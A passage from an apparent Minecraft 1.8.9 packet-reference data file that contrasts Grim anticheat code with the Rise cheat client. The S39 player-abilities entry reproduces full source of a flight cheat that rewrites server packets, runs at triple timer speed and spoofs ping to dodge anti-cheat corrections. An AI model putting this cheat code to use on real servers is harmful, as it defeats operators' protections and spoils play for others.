ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            }\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n// NOTE (AI): The player-list branches sit among the entity replication cases and reuse the same transaction-sandwich pattern as the rest of the listener, so profile updates land at the exact server tick.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "No other anticheat in the corpus reads player-list packets; Grim's SpectateManager is the only consumer of the stored profiles besides the checks themselves."
      }
     ]
    }
   },
   "wiki_notes": [
    "Tab-list ping icons follow fixed thresholds: negative (unknown) ping shows the no-connection icon, under 150 ms shows 5 bars, under 300 shows 4 bars, under 600 shows 3 bars, under 1000 shows 2 bars, and anything slower shows 1 bar.",
    "MCP 1.8.9 S38PacketPlayerListItem implements Packet<INetHandlerPlayClient> dispatching to handlePlayerListItem; serde via readBoolean, readChatComponent, readEnumValue, readStringFromBuffer, etc..",
    "1.8.9 callers: ItemInWorldManager.setGameType sends new S38PacketPlayerListItem (line 57) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/management/ItemInWorldManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S38PacketPlayerListItem/",
   "mcp_path": "net/minecraft/network/play/server/S38PacketPlayerListItem.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager",
    "ItemInWorldManager"
   ]
  },
  {
   "id": "S39PacketPlayerAbilities",
   "hex": "0x39",
   "dec": 57,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Player Abilities",
   "desc": "Server updates the player's capabilities (flying, invulnerable, creative, fly speed, walk speed).",
   "tags": [
    "player",
    "abilities",
    "flight"
   ],
   "fields": [
    {
     "name": "flags",
     "type": "byte bitmask",
     "desc": "0x01=invulnerable, 0x02=flying, 0x04=allowFlying, 0x08=creative"
    },
    {
     "name": "flySpeed",
     "type": "float",
     "desc": "Flight speed (default 0.05)"
    },
    {
     "name": "walkSpeed",
     "type": "float",
     "desc": "Walk speed (default 0.1)"
    }
   ],
   "encoding": [
    [
     "Flags",
     "byte",
     "Bitmask"
    ],
    [
     "Fly Speed",
     "float",
     "0.05 default"
    ],
    [
     "Walk Speed",
     "float",
     "0.1 default"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handlePlayerAbilities()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "This is the SERVER→CLIENT version. The server sends this when the player's abilities change. The CLIENT→SERVER version is C13PacketPlayerAbilities (which only carries the isFlying flag).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Server-to-client capability sync: one flags byte (0x01 invulnerable, 0x02 flying, 0x04 allowFlying, 0x08 creative), then fly speed and walk speed floats. The server pushes it on join, on every capabilities change, and as part of the login burst alongside S01, S37 and S38. Its serverbound mirror C13PacketPlayerAbilities carries only the isFlying flag, so S39 is the only place the client learns the full authoritative set."
     },
     {
      "h": "Vanilla handling",
      "p": "handlePlayerAbilities copies all four flags and both speeds into thePlayer.capabilities, and the movement code then obeys them: fly speed scales creative flight, walk speed scales ground speed. Server side, processPlayerAbilities (C13) flips only isFlying and only when allowFlying is true, so the server stays authoritative and re-broadcasts the corrected state via S39 whenever it disagrees with the client. The client handlers are behaviorally identical across all 8 corpus clients."
     },
     {
      "h": "Why clients touch it",
      "p": "Three Rise 6.x surface areas. CreativeFlight, a mode of the Flight module, rewrites the received packet in place: wrapper.setFlying(mc.thePlayer.capabilities.isFlying) so the server's flying flag can never desync the client while the mode force-flies the player at timer speed 3. Debugger carries an Abilities toggle that prints fly speed, allowFlying and isFlying to chat for protocol inspection. PingSpoofComponent classifies S39 as a teleport-class packet, so when a spoof window is active, held S39 packets flush together with S08 teleports and S09 held-item changes rather than being held with regular traffic."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is clientbound, so the server cannot see mutations; the risk is desync rather than detection. CreativeFlight's rewrite makes local capabilities authoritative and hides the server's corrections, viable only while the server does not re-send S39 faster than the module rewrites it. The packet also constrains packet-holding systems: because S39 arrives on gamemode and flight changes, holding it across an S08 teleport would leave the client's flag state and position inconsistent, which is why the component groups the three packet classes."
     }
    ],
    "overview": "The authoritative capability sync packet: flags byte plus fly and walk speeds, mirrored by a single-flag serverbound C13. Three Rise 6.x surface areas in the corpus: CreativeFlight rewrites the received S39 to claim flying, Debugger prints its fields for protocol inspection, and PingSpoofComponent treats it as teleport-class traffic so held S39 flushes with S08.",
    "server_handling": "EntityPlayerMP re-sends S39 whenever the capabilities setter path detects a change, and ServerConfigurationManager sends it once on join. C13 processing is the only serverbound input and it gates flying on allowFlying; the server's S39 responses are the corrective loop that keeps the client honest about permission.",
    "protocol_notes": "One flags byte then two raw 32-bit IEEE floats with no quantization: 0.05 default fly speed, 0.1 default walk speed. Bit 0x02 is current flying, 0x04 is permission to fly; creative players get both set, survival players neither unless a plugin grants flight. The same byte layout is reused by C13, which zeroes the unused fields.",
    "anticheat_landscape": "Anti-cheats infer flight from movement and C13, not from S39, but the packet is a synchronization oracle for them: a client that never confirms flying while the S39 stream says flying is on is not mirroring state, and the movement that follows is what actually flags. CreativeFlight's rewrite exists to keep that mirror consistent. Holding components treat S39 as teleport-adjacent because a held S39 crossing a held S08 desyncs flags and position, a failure mode that correlates with timer and fly flags.",
    "modules": [
     {
      "name": "CreativeFlight",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Force creative-style flight on survival servers by keeping the server's flying flag in sync with client-forced capabilities.",
      "how_it_works": "A mode of the Flight module. On enable it sets capabilities.isFlying and jumps; on pre-motion it force-flies with timer speed 3 and motion scaling. In the receive handler, every S39PacketPlayerAbilities is rewritten in place: wrapper.setFlying(mc.thePlayer.capabilities.isFlying), so the server's corrections can never desync the local flying state. PreUpdateEvent arms PingSpoofComponent.spoof(300000, ...) to hold all stateful traffic while the mode runs.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/flight/CreativeFlight.java =====\npackage com.alan.clients.module.impl.movement.flight;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.RotationComponent;\nimport com.alan.clients.component.impl.player.rotationcomponent.MovementFix;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.*;\nimport com.alan.clients.event.impl.other.MoveEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S39PacketPlayerAbilities;\nimport net.minecraft.util.MathHelper;\n\npublic class CreativeFlight extends Mode<Flight> {\n\n    public CreativeFlight(String name, Flight parent) {\n        super(name, parent);\n    }\n     double lastPosX = Double.NaN;\n     double lastPosY = Double.NaN;\n     double lastPosZ = Double.NaN;\n    private double serverPosX, serverPosY, serverPosZ;\n    private double lastServerPosX, lastServerPosY, lastServerPosZ;\n    private float serverYaw, serverPitch;\n    private double cameraOffsetX = 0;\n    private double cameraOffsetY = 0;\n    private double cameraOffsetZ = 0;\n    private float cameraYawOffset = 0;\n    private float cameraPitchOffset = 0;\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\nif(mc.thePlayer.onGround){\n\n    mc.thePlayer.jump();\n}\n\n      //  mc.thePlayer.cameraYaw = 0;\n      //  mc.thePlayer.cameraPitch = 0;\n   //     mc.gameSettings.keyBindJump.setPressed(true);\n\n       //     mc.gameSettings.keyBindForward.setPressed(true);\n        RotationComponent.setSmoothed(false);\n        RotationComponent.setRotations(new Vector2f(mc.thePlayer.rotationYaw + 45, mc.thePlayer.rotationPitch), 10, MovementFix.NORMAL);\n\n\n      //  MoveUtil.preventDiagonalSpeed();\n    //  lastPosX = mc.thePlayer.lastTickPosX;\n    //   lastPosY = mc.thePlayer.lastTickPosY;\n   //    lastPosZ = mc.thePlayer.lastTickPosZ;\n   //     mc.thePlayer.setPosition(lastPosX, lastPosY, lastPosZ);\n      //  mc.timer.timerSpeed = 1f;\n        mc.timer.timerSpeed = 3f;\n        if(mc.thePlayer.offGroundTicks >=6){\n\n            mc.thePlayer.capabilities.allowFlying = true;\nmc.thePlayer.motionZ *= 9.5;\n            mc.thePlayer.motionX *= 9.5;\n            final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n            final double x = Math.sin(yaw) * 9;\n            final double z = Math.cos(yaw) * 9;\n         //   event.setPosX(event.getPosX() - x);\n        //    event.setPosZ(event.getPosZ() + z);\n\nmc.thePlayer.motionY = 0;\n\n        }\n\n\n\n\n      //  mc.thePlayer.setPosition(mc.thePlayer.lastTickPosX, mc.thePlayer.lastTickPosY, mc.thePlayer.lastTickPosZ);\n\n\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        mc.timer.timerSpeed = 0f;\n        if(mc.thePlayer.offGroundTicks>= 5){\n\n            mc.thePlayer.motionY = .005;\n        }\n\n\n        //MoveUtil.strafe(9);\n     //   mc.thePlayer.setPosition(lastPosX, lastPosY, lastPosZ);\n    };\n\n    @EventLink\n    public final Listener<PostStrafeEvent> onPostStrafe = event -> {\n\n\n        //MoveUtil.strafe(9);\n    //    mc.thePlayer.setPosition(lastPosX, lastPosY, lastPosZ);\n    };\n\n    @EventLink\n    public final Listener<PostMotionEvent> postMotionEventListener = event -> {\n\n\n        //MoveUtil.strafe(9);\n      //  mc.thePlayer.setPosition(lastPosX, lastPosY, lastPosZ);\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> event = event -> {\n        if(Math.hypot(serverPosX - lastServerPosX,serverPosZ - lastServerPosZ)>.4){\n            mc.fontRendererObj.drawWithShadow(\"Teleported: \"+ Math.round((Math.hypot(serverPosX - lastServerPosX,serverPosZ - lastServerPosZ))), (double) mc.scaledResolution.getScaledWidth() / 2.2, (double) mc.scaledResolution.getScaledHeight() / 2 + 20, -1);\n            // ChatUtil.display(\"good\");\n        }\n    };\n\n    @EventLink\n    public final Listener<PreUpdateEvent> PreUpdateEvent = event -> {\n        PingSpoofComponent.spoof(300000, true, false, false, false, false);\n\n\n        //MoveUtil.strafe(9);\n\n    };\n\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C0FPacketConfirmTransaction || p instanceof C00PacketKeepAlive){\n\n        }\n\n\n        if (p instanceof S39PacketPlayerAbilities) {\n            final S39PacketPlayerAbilities wrapper = (S39PacketPlayerAbilities) p;\n            wrapper.setFlying(mc.thePlayer.capabilities.isFlying);\n        }\n\n        if (p instanceof S08PacketPlayerPosLook) {\n            S08PacketPlayerPosLook posLookPacket = (S08PacketPlayerPosLook) p;\n\n            // Update the player's position and rotation to match the server's data\n            lastServerPosX = serverPosX;\n            lastServerPosY = serverPosY;\n            lastServerPosZ = serverPosZ;\n\n            serverPosX = posLookPacket.getX();\n            serverPosY = posLookPacket.getY();\n            serverPosZ = posLookPacket.getZ();\n\n            lastPosX =   posLookPacket.getX();\n            lastPosZ  =    posLookPacket.getZ();\n            lastPosY = posLookPacket.getY();\n\n         //   mc.thePlayer.setPosition(lastPosX, lastPosY, lastPosZ);\n            // Update the camera rotation\n         //   event.setCancelled();\n\n            // Optionally, reset motion to prevent client-side movement\n         //   mc.thePlayer.motionX = 0;\n         //   mc.thePlayer.motionY = 0;\n        //    mc.thePlayer.motionZ = 0;\n\n\n        }\n    };\n\n    @EventLink\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        // Save the original render view entity\n        double partialTicks = mc.timer.renderPartialTicks;\n      //  mc.timer.timerSpeed = 10f;\n        // Interpolate between the last and current server positions\n        double interpolatedPosX = lastServerPosX + (serverPosX - lastServerPosX) * partialTicks;\n        double interpolatedPosY = lastServerPosY + (serverPosY - lastServerPosY) * partialTicks;\n        double interpolatedPosZ = lastServerPosZ + (serverPosZ - lastServerPosZ) * partialTicks;\n\n\n        if(mc.thePlayer.offGroundTicks >=5) {\n            // Set the render view entity's position to the interpolated position\n            Entity renderViewEntity = mc.getRenderViewEntity();\n            renderViewEntity.posX = interpolatedPosX;\n            renderViewEntity.posY = interpolatedPosY;\n            renderViewEntity.posZ = interpolatedPosZ;\n\n            // Also update the previous positions to prevent any rendering jitter\n            renderViewEntity.prevPosX = interpolatedPosX;\n            renderViewEntity.prevPosY = interpolatedPosY;\n            renderViewEntity.prevPosZ = interpolatedPosZ;\n        }\n\n        // Update the rotation\n      //  renderViewEntity.rotationYaw = serverYaw;\n      //  renderViewEntity.rotationPitch = serverPitch;\n    };\n\n\n    @Override\n    public void onEnable() {\n        cameraOffsetX = 0;\n        cameraOffsetY = 0;\n        cameraOffsetZ = 0;\n        cameraYawOffset = 0;\n        cameraPitchOffset = 0;\n\n        lastPosX = mc.thePlayer.lastReportedPosX;\n        lastPosY = mc.thePlayer.lastReportedPosY;\n        lastPosZ = mc.thePlayer.lastReportedPosZ;\n        PingSpoofComponent.dispatch();\n        if (mc.thePlayer.onGround) {\n            mc.thePlayer.jump();\n        }\n        mc.thePlayer.capabilities.isFlying = true;\n\n    }\n\n    @Override\n    public void onDisable() {\n        mc.thePlayer.capabilities.isFlying = false;\n       // mc.gameSettings.keyBindForward.setPressed(false);\n      //  mc.gameSettings.keyBindJump.setPressed(false);\n     //  mc.gameSettings.keyBindForward.setPressed(false);\n      //  mc.thePlayer.motionX *= 9;\n      //  mc.thePlayer.motionZ *= 9;\n        cameraOffsetX = 0;\n        cameraOffsetY = 0;\n        cameraOffsetZ = 0;\n        cameraYawOffset = 0;\n        cameraPitchOffset = 0;\n\n        PingSpoofComponent.dispatch();\n\n      //  lastPosX = mc.thePlayer.posX;\n     //   lastPosY = mc.thePlayer.posY;\n      //  lastPosZ = mc.thePlayer.posZ;\n        mc.thePlayer.capabilities.allowFlying = mc.playerController.getCurrentGameType().isCreative();\n\n    }\n\n    @EventLink\n    private final Listener<MoveEvent> moveEventListener = event -> {\n        if (mc.thePlayer.offGroundTicks >= 6) {\n\n        }\n    };\n\n}\n// NOTE (AI): The S39 rewrite keeps the server's flying flag in sync with the client's forced capabilities while the mode flies at timer speed 3. Note the pairing with PingSpoofComponent.spoof(300000, ...) in PreUpdateEvent: all stateful traffic is held for 300 seconds, and S39 is part of the teleports tuple so it flushes together with S08. The packet is mutated in place on the receive event, which the component system then cancels and queues.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/flight/CreativeFlight.java",
      "vanilla_hook": "PacketReceiveEvent (mutation), PreUpdateEvent (spoof arming), PreMotionEvent (movement).",
      "anti_cheat_notes": "The mutation is invisible to the server, but the movement it enables (timer 3, 9.5x motion scaling) is a textbook fly flag on any serious anti-cheat; the S39 rewrite only prevents the flag-state desync that would compound the detection.",
      "variations": "Rise 6.1.30 carries the same mode with an identical S39 branch (wrapper.setFlying(mc.thePlayer.capabilities.isFlying)); the 6.2.4 build adds the Render3D interpolation scaffolding."
     },
     {
      "name": "Debugger",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Developer tool that prints protocol traffic to chat, including a dedicated Abilities readout for S39.",
      "how_it_works": "The receive handler branches by packet class: S32 transactions, S00 keepalives, S08 teleports, S12 velocity, S27 explosions and S39 abilities each print their fields. The S39 branch logs fly speed, allowFlying and isFlying via the MCP accessors. The send side only fires while Client.DEVELOPMENT_SWITCH is set, but the receive side is live in release builds.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/other/Debugger.java =====\npackage com.alan.clients.module.impl.other;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.BlinkComponent;\nimport com.alan.clients.component.impl.render.ESPComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.interfaces.ThreadAccess;\nimport com.alan.clients.util.math.MathUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.DragValue;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.EnumChatFormatting;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.awt.*;\nimport java.lang.reflect.Field;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.HashMap;\n\nimport static com.alan.clients.layer.Layers.*;\n\n@ModuleInfo(aliases = {\"module.other.debugger.name\"}, category = Category.PLAYER, description = \"module.other.debugger.description\")\npublic final class Debugger extends Module implements ThreadAccess {\n\n    private final BooleanValue transaction = new BooleanValue(\"Transactions\", this, true);\n    private final BooleanValue keepAlive = new BooleanValue(\"Keep Alive\", this, true);\n    private final BooleanValue teleport = new BooleanValue(\"Teleport\", this, true);\n    private final BooleanValue velocity = new BooleanValue(\"Velocity\", this, true);\n    private final BooleanValue abilities = new BooleanValue(\"Abilities\", this, true);\n    private final BooleanValue displayAll = new BooleanValue(\"Display All\", this, true);\n    private final BooleanValue blacklist = new BooleanValue(\"Blacklist\", this, true, () -> !displayAll.getValue());\n    private final BooleanValue time = new BooleanValue(\"Time Since Move\", this, true, () -> !displayAll.getValue());\n    private final BooleanValue devPanel = new BooleanValue(\"Dev Panel\", this, false);\n    private final BooleanValue eventCalls = new BooleanValue(\"Event Calls\", this, false);\n\n    private final DragValue position = new DragValue(\"\", this, new Vector2d(200, 200), true);\n\n    private final DateTimeFormatter date = DateTimeFormatter.ofPattern(\"MM/dd/yyyy\");\n    private final ArrayList<String> blacklisted = new ArrayList<>();\n\n    public static HashMap<String, Integer> calls = new HashMap<>();\n    private long threadLag;\n    private boolean measuring;\n    private StopWatch stopWatch = new StopWatch();\n\n    @Override\n    public void onEnable() {\n        blacklisted.clear();\n    }\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if (!Client.DEVELOPMENT_SWITCH) return;\n\n        final Packet<?> packet = event.getPacket();\n        if (packet instanceof C03PacketPlayer && teleport.getValue()) {\n\n            stopWatch.reset();\n        }\n\n        if (displayAll.getValue()) {\n            String name = packet.getClass().getSimpleName();\n\n            if (blacklist.getValue()) {\n                if (!blacklisted.contains(name)) {\n                    ChatUtil.display(EnumChatFormatting.BLACK + \" BlackListed Packet \" + EnumChatFormatting.RESET + \" (ID: %s)\", name);\n                    blacklisted.add(name);\n                }\n            } else if (!blacklisted.contains(name)) {\n                ChatUtil.display(EnumChatFormatting.GOLD + \" Packet \" + EnumChatFormatting.RESET + \" (ID: %s)\", name);\n\n                for (Field field : packet.getClass().getDeclaredFields()) {\n                    field.setAccessible(true);\n\n                    try {\n                        ChatUtil.display(EnumChatFormatting.YELLOW + \" %s:\" + EnumChatFormatting.GRAY + \" %s\", field.getName(), field.get(packet));\n                    } catch (IllegalAccessException e) {\n                        e.printStackTrace();\n                    }\n                }\n\n                if (time.getValue()) ChatUtil.display(EnumChatFormatting.YELLOW + \" %s:\" + EnumChatFormatting.GRAY + \" %s\", \"time since movement\", stopWatch.getElapsedTime());\n\n                ChatUtil.display(\"\");\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (transaction.getValue() && packet instanceof S32PacketConfirmTransaction) {\n            final S32PacketConfirmTransaction transaction = ((S32PacketConfirmTransaction) packet);\n\n            ChatUtil.display(EnumChatFormatting.RED + \" Transaction \" + EnumChatFormatting.RESET + \" (ID: %s)   (WindowID: %s)\", transaction.actionNumber, transaction.windowId);\n        } else if (keepAlive.getValue() && packet instanceof S00PacketKeepAlive) {\n            final S00PacketKeepAlive wrapper = ((S00PacketKeepAlive) packet);\n\n            ChatUtil.display(EnumChatFormatting.GREEN + \" Keep Alive \" + EnumChatFormatting.RESET + \" (ID: %s)\", wrapper.func_149134_c());\n        } else if (teleport.getValue() && packet instanceof S08PacketPlayerPosLook) {\n            final S08PacketPlayerPosLook wrapper = ((S08PacketPlayerPosLook) packet);\n\n            ChatUtil.display(EnumChatFormatting.BLUE + \" Server Teleport \" + EnumChatFormatting.RESET + \" (Position: %s)\",\n                    MathUtil.round(wrapper.x, 3) + \" \" +\n                            MathUtil.round(wrapper.y, 3) + \" \" +\n                            MathUtil.round(wrapper.z, 3));\n        } else if (velocity.getValue() && packet instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity wrapper = ((S12PacketEntityVelocity) packet);\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n                ChatUtil.display(EnumChatFormatting.LIGHT_PURPLE + \" Velocity \" + EnumChatFormatting.RESET + \" (DeltaX: %s) (DeltaY: %s)  (DeltaZ: %s) \",\n                        wrapper.motionX / 8000D, wrapper.motionY / 8000D, wrapper.motionZ / 8000D);\n            }\n        } else if (velocity.getValue() && packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = ((S27PacketExplosion) packet);\n            ChatUtil.display(EnumChatFormatting.LIGHT_PURPLE + \" Explosion (Velocity) \" + EnumChatFormatting.RESET + \" (DeltaX: %s) (DeltaY: %s)  (DeltaZ: %s) \",\n                    explosion.func_149149_c(), explosion.func_149144_d(), explosion.func_149147_e());\n        } else if (abilities.getValue() && packet instanceof S39PacketPlayerAbilities) {\n            S39PacketPlayerAbilities abilitiesp = ((S39PacketPlayerAbilities) packet);\n            ChatUtil.display(EnumChatFormatting.YELLOW + \" Abilities \" + abilitiesp.getFlySpeed() + \" \" + abilitiesp.isAllowFlying() + \" \" + abilitiesp.isFlying());\n        }\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        if (devPanel.getValue()) {\n            double padding = 10;\n            position.scale = new Vector2d(180, 